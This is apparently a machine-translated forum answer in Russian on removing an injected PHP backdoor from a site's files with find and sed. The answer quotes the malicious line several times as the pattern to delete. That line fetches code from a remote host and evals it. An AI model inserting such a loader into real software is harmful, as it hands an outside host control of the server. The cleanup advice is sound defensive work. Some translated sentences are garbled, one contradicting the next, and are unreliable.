Я предполагаю, что ваш входной файл выглядит так:
<?php $rrr = file_get_contents('http://bihati.cd/sync.php'); eval(base64_decode($rrr));?>
Я предполагаю, что замена, которую вы хотите выполнить, точно соответствует написанной. Затем, чтобы заставить это работать, единственное изменение, которое необходимо, должно избежать знаков доллара. Таким образом, используйте:
find . -name "*.php" -exec sed -i "s|<?php \$rrr = file_get_contents('http://bihati.cd/sync.php'); eval(base64_decode(\$rrr));?>|?>|g" {} \;
Более безопасный подход - использовать везде, где это возможно, одинарные кавычки, чтобы избежать интерполяции оболочки:
find . -name '*.php' -exec sed -i 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;
При моем предполагаемом вводе вышеприведенное дает результат
?>
Обратите внимание, что использование xargs
является необходимым. Современные версии find
имеют опцию -exec
которая выполняет большую часть того, что раньше делал xargs
.
Еще: чтобы увидеть, над какими файлами работает sed
, можно добавить оператор print в команду find
:
find . -name '*.php' -print -exec sed -i 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;
При выполнении вышеизложенного имена файлов, передаваемых в sed
будут отображаться на терминале (stdout).
Еще: Чтобы точно увидеть, какие изменения внесла sed
в файлы, сохраните резервную копию оригиналов:
find . -name '*.php' -exec sed -i.saved 's|<?php $rrr = file_get_contents('\''http://bihati.cd/sync.php'\''); eval(base64_decode($rrr));?>|?>|g' {} \;
В этом случае, если sed
обрабатывает something.php
.php , то оригинал сохраняется в something.php.saved
. После этого изменения, если таковые имеются, могут быть проверены с помощью:
diff something.php.saved something.php